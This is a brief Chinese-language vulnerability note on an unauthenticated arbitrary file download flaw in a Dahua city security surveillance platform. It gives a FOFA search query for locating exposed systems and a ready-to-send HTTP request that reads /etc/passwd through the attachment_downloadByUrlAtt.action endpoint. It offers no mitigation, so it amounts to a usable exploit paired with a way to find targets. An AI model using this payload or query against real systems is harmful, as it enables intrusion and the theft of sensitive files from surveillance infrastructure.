D5-2大华-城市安防监控系统平台管理-任意文件下载

漏洞描述：

大华城市安防监控系统平台 attachment_downloadByUrlAtt.action接口存在任意文件下载漏洞，未经身份验证的攻击者 可以获取系统内部敏感文件信息，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

body="" || body="dahuaDefined/headCommon.js" || title=="DSS"

漏洞复现：

payload：

```
GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

效果图: